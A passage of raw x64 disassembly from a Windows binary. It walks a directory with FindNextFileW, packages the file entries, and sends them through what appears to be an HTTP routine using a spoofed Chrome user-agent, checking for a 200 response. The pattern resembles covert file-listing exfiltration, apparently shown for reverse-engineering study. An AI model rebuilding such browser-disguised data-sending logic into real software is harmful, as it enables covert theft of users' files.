call fcn.140024f90
mov rax, qword [r12 + 0x20]
mov rcx, r12
add r12, 0x38
mov qword [r13 - 0x18], rax
mov al, byte [r12 - 0x10]
mov byte [r13 - 0x10], al
mov rax, qword [r12 - 8]
mov qword [r13 - 8], rax
call fcn.140022c50
jmp 0x140013a5c
lea rbx, [r13 + 0x38]
test rsi, rsi
je 0x140013aaa
mov rcx, rsi
call fcn.1400273b0
imul rdi, rdi, 0x38
lea r13, [rbp + rdi]
lea rcx, [rsp + 0x280]
mov rsi, rbp
call fcn.140022c50
lea rcx, [rsp + 0x208]
call fcn.140022c50
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400138c3
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x1e8]
mov rbp, rsi
lea rdi, [rsp + 0x7f0]
call fcn.140022c50
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
sub rdx, rsi
sar rdx, 3
imul edx, edx, 0xb6db6db7
call fcn.140015dd0
cmp rbp, rbx
je 0x140013b79
mov rcx, qword [rsp + 0x68]
mov rdx, rbp
add rbp, 0x38
call fcn.140015cc0
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rsp + 0x68]
call fcn.140015e30
mov al, byte [rbp - 0x10]
mov rcx, qword [rsp + 0x68]
mov rdx, rdi
mov byte [rsp + 0x7f0], al
call fcn.14001f0b0
mov rdx, qword [rbp - 8]
mov rcx, qword [rsp + 0x68]
call fcn.140015e30
jmp 0x140013b2e
lea rdi, [rsp + 0x2f8]
lea rbp, [rsp + 0x338]
mov rcx, rdi
lea r12, [rsp + 0x3c0]
lea r13, [rsp + 0x420]
call fcn.140012470
mov rdx, qword [rsp + 0x68]
mov rcx, rbp
call fcn.14001f0d0
lea rdx, [0x14005a350]
mov rcx, r12
call fcn.140025ab0
lea rdx, [0x14005a356]
mov rcx, r13
call fcn.140025ab0
call fcn.140014380
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0x5b8]
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.140014340
lea rax, [rsp + 0x7f0]
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_128.0.0.0_Safari_537.3
mov rcx, rax
mov qword [rsp + 0xa0], rax
call fcn.140025ab0
mov qword [rsp + 0x40], rdi
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0x378]
mov qword [rsp + 0x38], rbp
mov r9d, dword [rsp + 0xa8]
mov dword [rsp + 0x30], 1
mov rdx, qword [rsp + 0x7f0]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
call fcn.140013e70
mov rcx, qword [rsp + 0xa0]
call fcn.140022c50
mov rcx, qword [rsp + 0x68]
call fcn.140022c50
mov rcx, r13
call fcn.140022c50
mov rcx, r12
call fcn.140022c50
mov rcx, rbp
mov rbp, rsi
call fcn.14001f190
mov rcx, rdi
call fcn.14001ee60
lea rcx, [rsp + 0x380]
cmp dword [rsp + 0x37c], 0xc8
sete dil
call fcn.14001f190
cmp rbp, rbx
je 0x140013cb3
mov rcx, rbp
add rbp, 0x38
call fcn.140022c50
jmp 0x140013ca0
test rsi, rsi
je 0x140013cc0
mov rcx, rsi
call fcn.1400273b0
mov rbx, qword [rsp + 0x70]
cmp r15, rbx
je 0x140013cd9
lea rcx, [rbx + 8]
add rbx, 0x28
call fcn.140022c50
jmp 0x140013cc5
cmp qword [rsp + 0x70], 0
je 0x140013ceb
mov rcx, qword [rsp + 0x70]
call fcn.1400273b0
mov rbx, r14
cmp qword [rsp + 0x98], rbx
je 0x140013d06
mov rcx, rbx
add rbx, 0x40
call fcn.1400156d0
jmp 0x140013cee
test r14, r14
je 0x140013d13
mov rcx, r14
call fcn.1400273b0
mov rbx, qword [rsp + 0x78]
cmp qword [rsp + 0x90], rbx
je 0x140013d30
mov rcx, rbx
add rbx, 0x60
call fcn.140015730
jmp 0x140013d18
cmp qword [rsp + 0x78], 0
je 0x140013d42
mov rcx, qword [rsp + 0x78]
call fcn.1400273b0
mov rbx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
cmp rbx, rax
je 0x140013d65
mov rcx, rbx
add rbx, 0x40
call fcn.140015a00
jmp 0x140013d4a
cmp qword [rsp + 0x80], 0
je 0x140013d7d
mov rcx, qword [rsp + 0x80]
call fcn.1400273b0
lea rcx, [rsp + 0x100]
call fcn.14001e610
add rsp, 0xa48
mov eax, edi
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret